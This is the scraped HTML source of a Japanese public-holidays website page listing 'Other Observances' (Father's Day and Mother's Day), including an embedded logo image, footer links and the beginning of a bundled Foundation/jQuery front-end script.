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">
413</div>
414
415
416			<span class="hero__heading" style="color: #f2f2f2;background-color: rgba(,)">Japan</span>
417	
418<br>
419
420
421 </div>
422</div>
423                    </header>
424<div id="row-pane" class="row-wrapper no-class" >
425 <div id="row-inner-pane" class="row-inner-wrapper full-row">
426 </div>
427</div>
428<div id="row-page-navigation" class="row-wrapper no-class" >
429 <div id="row-inner-page-navigation" class="row-inner-wrapper full-row">
430 </div>
431</div>
432
433<aside class="row-inner-wrapper row row-ad-leaderboard">
434</aside>
435
436<div id="row-page-index-header" class="row-wrapper no-class" >
437 <div id="row-inner-page-index-header" class="row-inner-wrapper sidebar-list hide-for-large">
438 </div>
439</div>
440<div id="row-related-links" class="row-wrapper no-class" >
441 <div id="row-inner-related-links" class="row-inner-wrapper sidebar-list">
442 </div>
443</div>
444                    <section class="main-section">
445<div id="row-content" class="row-wrapper no-class" >
446 <div id="row-inner-content" class="row-inner-wrapper row">
447<article class="post-2758 page type-page status-publish has-post-thumbnail hentry page-category-en-observances page-category-evergreen page-category-language">
448	<div class="page__content">
449	<h1 class="page__heading">Other Observances</h1><aside><div class="tiles-shortcode " dir="ltr"><div class="row-inner-wrapper travel__tile small-up-1 medium-up-2 large-up-2"><div class="travel__block column"><a href="https://publicholidays.jp/fathers-day/" class="travel__link"><div class="travel__image vertical-center-container" data-lazy-load="false" style="background-image: url('https://publicholidays.jp/wp-content/uploads/2020/01/Japan_FathersDay_Output.jpg');"><span class="travel__title vertical-center"><p><span>Father’s Day</span></p></span></div></a></div><div class="travel__block column"><a href="https://publicholidays.jp/mothers-day/" class="travel__link"><div class="travel__image vertical-center-container" data-lazy-load="false" style="background-image: url('https://publicholidays.jp/wp-content/uploads/2020/01/Japan_MothersDay_Output.jpg');"><span class="travel__title vertical-center"><p><span>Mother’s Day</span></p></span></div></a></div></div></div></aside>
450	</div>
451</article>
452	<footer id="row-footer" class="row-wrapper no-class" >
453 <div id="row-inner-footer" class="row-inner-wrapper row">
454<div class="small-24 large-24 column">
455	<div class="footer row">
456
457		
458		<!-- Left footer navigation -->
459		<div class="small-8 medium-8 large-8 column">
460
461			<ul class="footer-menu no-bullet">
462
463				
464			</ul>
465		</div>
466		<!-- END: Left footer navigation -->
467
468		<!-- Middle footer navigation -->
469		<div class="small-8 medium-8 large-8 column">
470
471			<ul class="footer-menu no-bullet">
472
473				
474			</ul>
475		</div>
476		<!-- END: Middle footer navigation -->
477
478		<!-- Right footer navigation -->
479		<div class="small-8 medium-8 large-8 column">
480			<ul class="footer-menu no-bullet">
481				
482					
483					<li class="menu-item menu-item-2769"><a class="s-no-class" href="#">Other Languages</a></li>
484
485				
486					
487					<li class="menu-item menu-item-1316"><a class="s-no-class" href="https://publicholidays.jp/zh/">Chinese</a></li>
488
489							</ul>
490		</div>
491		<!-- END: Right footer navigation -->
492
493		
494	</div>
495    <div class="footer-copyright text-center medium-text-left row">
496    	<div class="small-24 medium-7 column">
497    		<a href="/"><img src="https://publicholidays.jp/wp-content/uploads/2018/01/PH_footer_logo_new.jpg", alt="" /></a>
498    	</div>
499    	<div class="text-center medium-text-left small-24 medium-17 column hide-for-print" data-swiftype-index="false">
500			<small class="copyright">
501				&copy; 2026 Public Holidays Global Pty Ltd ABN 53 608 843 885				<br /><a href="/terms-conditions">Terms and Conditions</a> | <a href="/privacy-policy">Privacy Policy</a> | <a href="/about/">About Us</a> | <a href="/contact/">Contact Us</a>
502				<br /><!-- HTML for geo depending button --><button id="pmLink">Privacy Manager</button>			</small>
503    	</div>
504    </div>
505</div>
506 </div>
507</footer>
508 </div>
509</div>
510<footer id="row-subscribe" class="row-wrapper no-class" >
511 <div id="row-inner-subscribe" class="row-inner-wrapper row">
512<div class="toggle__element show-for-large large-24 columns text3" id="subscribe" data-toggler=".is-active">
513	<div class="toggle__wrapper">
514			</div>
515</div>
516 </div>
517</footer>
518                    </section>
519                </div>
520            </div><!-- end everything -->
521        </div>
522				
522<script type="speculationrules">
523{"prefetch":[{"source":"document","where":{"and":[{"href_matches":"/*"},{"not":{"href_matches":["/wp-*.php","/wp-admin/*","/wp-content/uploads/*","/wp-content/*","/wp-content/plugins/*","/wp-content/themes/bb-phg/*","/*\\?(.+)"]}},{"not":{"selector_matches":"a[rel~=\"nofollow\"]"}},{"not":{"selector_matches":".no-prefetch, .no-prefetch a"}}]},"eagerness":"conservative"}]}
524</script>
vendor: 1 bytes, line 524
524
525<script>!function(e,n){if("object"==typeof exports&&"object"==typeof module)module.exports=n(require("jQuery"));else if("function"==typeof define&&define.amd)define(["jQuery"],n);else{var t,i="object"==typeof exports?n(require("jQuery")):n(e.jQuery);for(t in i)("object"==typeof exports?exports:e)[t]=i[t]}}(self,function(__WEBPACK_EXTERNAL_MODULE_jquery__){return function(){"use strict";var __webpack_modules__={"./custom-build/js/vendor/foundation.js":function(__unused_webpack_module,__webpack_exports__,__webpack_require__){eval('__webpack_require__.r(__webpack_exports__);\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ "jquery");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _Users_joeworkman_Developer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./js/foundation.core */ "./js/foundation.core.js");\n/* harmony import */ var _Users_joeworkman_Developer_foundation_sites_js_foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./js/foundation.util.mediaQuery */ "./js/foundation.util.mediaQuery.js");\n/* harmony import */ var _Users_joeworkman_Developer_foundation_sites_js_foundation_util_triggers__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./js/foundation.util.triggers */ "./js/foundation.util.triggers.js");\n/* harmony import */ var _Users_joeworkman_Developer_foundation_sites_js_foundation_abide__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./js/foundation.abide */ "./js/foundation.abide.js");\n/* harmony import */ var _Users_joeworkman_Developer_foundation_sites_js_foundation_accordion__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ./js/foundation.accordion */ "./js/foundation.accordion.js");\n/* harmony import */ var _Users_joeworkman_Developer_foundation_sites_js_foundation_accordionMenu__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(/*! ./js/foundation.accordionMenu */ "./js/foundation.accordionMenu.js");\n/* harmony import */ var _Users_joeworkman_Developer_foundation_sites_js_foundation_drilldown__WEBPACK_IMPORTED_MODULE_7__ = __webpack_require__(/*! ./js/foundation.drilldown */ "./js/foundation.drilldown.js");\n/* harmony import */ var _Users_joeworkman_Developer_foundation_sites_js_foundation_dropdown__WEBPACK_IMPORTED_MODULE_8__ = __webpack_require__(/*! ./js/foundation.dropdown */ "./js/foundation.dropdown.js");\n/* harmony import */ var _Users_joeworkman_Developer_foundation_sites_js_foundation_dropdownMenu__WEBPACK_IMPORTED_MODULE_9__ = __webpack_require__(/*! ./js/foundation.dropdownMenu */ "./js/foundation.dropdownMenu.js");\n/* harmony import */ var _Users_joeworkman_Developer_foundation_sites_js_foundation_equalizer__WEBPACK_IMPORTED_MODULE_10__ = __webpack_require__(/*! ./js/foundation.equalizer */ "./js/foundation.equalizer.js");\n/* harmony import */ var _Users_joeworkman_Developer_foundation_sites_js_foundation_interchange__WEBPACK_IMPORTED_MODULE_11__ = __webpack_require__(/*! ./js/foundation.interchange */ "./js/foundation.interchange.js");\n/* harmony import */ var _Users_joeworkman_Developer_foundation_sites_js_foundation_magellan__WEBPACK_IMPORTED_MODULE_12__ = __webpack_require__(/*! ./js/foundation.magellan */ "./js/foundation.magellan.js");\n/* harmony import */ var _Users_joeworkman_Developer_foundation_sites_js_foundation_offcanvas__WEBPACK_IMPORTED_MODULE_13__ = __webpack_require__(/*! ./js/foundation.offcanvas */ "./js/foundation.offcanvas.js");\n/* harmony import */ var _Users_joeworkman_Developer_foundation_sites_js_foundation_orbit__WEBPACK_IMPORTED_MODULE_14__ = __webpack_require__(/*! ./js/foundation.orbit */ "./js/foundation.orbit.js");\n/* harmony import */ var _Users_joeworkman_Developer_foundation_sites_js_foundation_responsiveMenu__WEBPACK_IMPORTED_MODULE_15__ = __webpack_require__(/*! ./js/foundation.responsiveMenu */ "./js/foundation.responsiveMenu.js");\n/* harmony import */ var _Users_joeworkman_Developer_foundation_sites_js_foundation_responsiveToggle__WEBPACK_IMPORTED_MODULE_16__ = __webpack_require__(/*! ./js/foundation.responsiveToggle */ "./js/foundation.responsiveToggle.js");\n/* harmony import */ var _Users_joeworkman_Developer_foundation_sites_js_foundation_reveal__WEBPACK_IMPORTED_MODULE_17__ = __webpack_require__(/*! ./js/foundation.reveal */ "./js/foundation.reveal.js");\n/* harmony import */ var _Users_joeworkman_Developer_foundation_sites_js_foundation_slider__WEBPACK_IMPORTED_MODULE_18__ = __webpack_require__(/*! ./js/foundation.slider */ "./js/foundation.slider.js");\n/* harmony import */ var _Users_joeworkman_Developer_foundation_sites_js_foundation_sticky__WEBPACK_IMPORTED_MODULE_19__ = __webpack_require__(/*! ./js/foundation.sticky */ "./js/foundation.sticky.js");\n/* harmony import */ var _Users_joeworkman_Developer_foundation_sites_js_foundation_tabs__WEBPACK_IMPORTED_MODULE_20__ = __webpack_require__(/*! ./js/foundation.tabs */ "./js/foundation.tabs.js");\n/* harmony import */ var _Users_joeworkman_Developer_foundation_sites_js_foundation_toggler__WEBPACK_IMPORTED_MODULE_21__ = __webpack_require__(/*! ./js/foundation.toggler */ "./js/foundation.toggler.js");\n/* harmony import */ var _Users_joeworkman_Developer_foundation_sites_js_foundation_tooltip__WEBPACK_IMPORTED_MODULE_22__ = __webpack_require__(/*! ./js/foundation.tooltip */ "./js/foundation.tooltip.js");\n/* harmony import */ var _Users_joeworkman_Developer_foundation_sites_js_foundation_responsiveAccordionTabs__WEBPACK_IMPORTED_MODULE_23__ = __webpack_require__(/*! ./js/foundation.responsiveAccordionTabs */ "./js/foundation.responsiveAccordionTabs.js");\n\n\n_Users_joeworkman_Developer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__.Foundation.addToJquery((jquery__WEBPACK_IMPORTED_MODULE_0___default()));\n\n_Users_joeworkman_Developer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__.Foundation.MediaQuery = _Users_joeworkman_Developer_foundation_sites_js_foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_2__.MediaQuery;\n\n_Users_joeworkman_Developer_foundation_sites_js_foundation_util_triggers__WEBPACK_IMPORTED_MODULE_3__.Triggers.init((jquery__WEBPACK_IMPORTED_MODULE_0___default()), _Users_joeworkman_Developer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__.Foundation);\n\n_Users_joeworkman_Developer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__.Foundation.plugin(_Users_joeworkman_Developer_foundation_sites_js_foundation_abide__WEBPACK_IMPORTED_MODULE_4__.Abide, \'Abide\');\n\n_Users_joeworkman_Developer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__.Foundation.plugin(_Users_joeworkman_Developer_foundation_sites_js_foundation_accordion__WEBPACK_IMPORTED_MODULE_5__.Accordion, \'Accordion\');\n\n_Users_joeworkman_Developer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__.Foundation.plugin(_Users_joeworkman_Developer_foundation_sites_js_foundation_accordionMenu__WEBPACK_IMPORTED_MODULE_6__.AccordionMenu, \'AccordionMenu\');\n\n_Users_joeworkman_Developer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__.Foundation.plugin(_Users_joeworkman_Developer_foundation_sites_js_foundation_drilldown__WEBPACK_IMPORTED_MODULE_7__.Drilldown, \'Drilldown\');\n\n_Users_joeworkman_Developer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__.Foundation.plugin(_Users_joeworkman_Developer_foundation_sites_js_foundation_dropdown__WEBPACK_IMPORTED_MODULE_8__.Dropdown, \'Dropdown\');\n\n_Users_joeworkman_Developer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__.Foundation.plugin(_Users_joeworkman_Developer_foundation_sites_js_foundation_dropdownMenu__WEBPACK_IMPORTED_MODULE_9__.DropdownMenu, \'DropdownMenu\');\n\n_Users_joeworkman_Developer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__.Foundation.plugin(_Users_joeworkman_Developer_foundation_sites_js_foundation_equalizer__WEBPACK_IMPORTED_MODULE_10__.Equalizer, \'Equalizer\');\n\n_Users_joeworkman_Developer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__.Foundation.plugin(_Users_joeworkman_Developer_foundation_sites_js_foundation_interchange__WEBPACK_IMPORTED_MODULE_11__.Interchange, \'Interchange\');\n\n_Users_joeworkman_Developer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__.Foundation.plugin(_Users_joeworkman_Developer_foundation_sites_js_foundation_magellan__WEBPACK_IMPORTED_MODULE_12__.Magellan, \'Magellan\');\n\n_Users_joeworkman_Developer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__.Foundation.plugin(_Users_joeworkman_Developer_foundation_sites_js_foundation_offcanvas__WEBPACK_IMPORTED_MODULE_13__.OffCanvas, \'OffCanvas\');\n\n_Users_joeworkman_Developer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__.Foundation.plugin(_Users_joeworkman_Developer_foundation_sites_js_foundation_orbit__WEBPACK_IMPORTED_MODULE_14__.Orbit, \'Orbit\');\n\n_Users_joeworkman_Developer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__.Foundation.plugin(_Users_joeworkman_Developer_foundation_sites_js_foundation_responsiveMenu__WEBPACK_IMPORTED_MODULE_15__.ResponsiveMenu, 